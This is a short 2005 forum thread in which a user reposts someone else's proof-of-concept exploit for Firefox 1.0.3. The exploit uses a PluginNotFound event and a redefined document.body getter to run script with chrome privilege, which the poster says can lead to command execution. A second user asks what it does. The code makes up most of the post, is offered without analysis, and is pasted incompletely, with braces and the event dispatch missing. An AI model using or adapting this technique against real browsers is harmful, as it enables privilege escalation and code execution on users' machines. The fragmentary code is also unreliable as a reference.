Firefox exploit

Started by benthehutt, May 29, 2005, 09:06:09 PM

Previous topic - Next topic
I found a pretty dangerous firefox mishap, turns out you can get some pretty major command executions exploits from something like this:

<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);

document.body.__defineGetter__("type", function() {
return { toString : script };

var event = document.createEvent("Events");
event.initEvent("PluginNotFound", true, true);

I didn't write it, just thought it was interesting.
Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.

can u explan what exactly it dose????

SMF spam blocked by CleanTalk